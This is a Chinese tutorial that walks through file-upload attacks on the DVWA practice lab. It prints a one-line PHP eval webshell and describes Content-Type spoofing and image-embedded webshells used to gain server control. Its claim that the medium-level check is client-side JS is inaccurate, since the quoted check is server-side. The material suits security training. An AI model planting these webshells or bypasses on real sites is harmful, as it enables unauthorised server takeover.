概念:
“这个漏洞在DVBBS6.0时代被黑客们利用的最为猖獗,利用上传漏洞可以直接得到WEBSHELL,危害等级超级高,入侵中上传漏洞也是常见的漏洞。
导致该漏洞的原因在于代码作者没有对访客提交的数据进行检验或者过滤不严,可以直接提交修改过的数据绕过扩展名的检验” :这是百度百科对文件上传漏洞的概念。 这个概念即使萌新也是比较好理解的。大家可以看下面这个图。
用大白话来说就是一个网站有一个让人上传头像(或者其他)的功能,但是不法分子,也就是我们所说的黑客上传了木马(webshell)然后获得了对该站点的权限。 存在文件上传功能的地方都有可能存在文件上传漏洞,比如相册、头像上传,视频、照片分享。论坛发帖和邮箱等可以上传附件的地方也是上传漏阔的高危地带,另外像文件管理器这样的功能也有可能被攻击者所利用。这是非常可怕的,所以网站要做好过滤,防止黑客利用这个漏洞进行犯罪活动。
DVWA
下面我们开始用dvwa的靶场来实战一下,我是用服务器在docker搭建的靶场,不会的可以百度一下dvwa靶场的搭建。在buu的basic里也有现成的靶场。
low
我试了一下,可以上传png图片,查看一下源码
<?php if( isset( $_POST[ 'Upload' ] ) ) { // Where are we going to be writing to? $target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/"; $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] ); // Can we move the file to the upload folder? if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) { // No echo '<pre>Your image was not uploaded.</pre>'; } else { // Yes!
这个过程没有作任何的过滤,我们就可以直接上传一句话木马
<?php @eval($_POST['attack']);?>
上传以后就显示成功上传
然后用蚁剑连接一下,就获得了对该服务器的权限
medium
我们再上传一下一句话木马文件,发现,上传失败。
并提示我们,只能上传jpg文件和png文件,可以看到,这里有个js检测。
// File information $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ]; $uploaded_type = $_FILES[ 'uploaded' ][ 'type' ]; $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ]; // Is it an image? if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) && ( $uploaded_size < 100000 ) ) {
,那么我们该怎么绕过呢。
因为这个是客户端检测,所以我们打开burpsuite,抓个包
这个是菜鸟教程对content type的解释,清晰明了。
把content-type改成:image/jpeg.再一看,已经成功上传了。
再用蚁剑,成功连接。拿到了对服务器的权限。
high
我们先看一下源码,发现大同小异,只有一处不同。
这里有两个函数:substr strrpos
substr函数是返回字符串的一部分,比如上面这个栗子,返回字符串第六个字节以后的内容。
strpos() 函数查找字符串在另一字符串中第一次出现的位置。
这一句就是返回小数点之后的内容必须为jpeg或者png。因此上一关的方法已经不适用了。需要用到图片马。
jpg/b这个b就是byte,是字节的意思。因为照片是二进制文件。php/a后面是a是因为php文件是Ascii文件。
上传一下,成功。连接蚁剑,ok。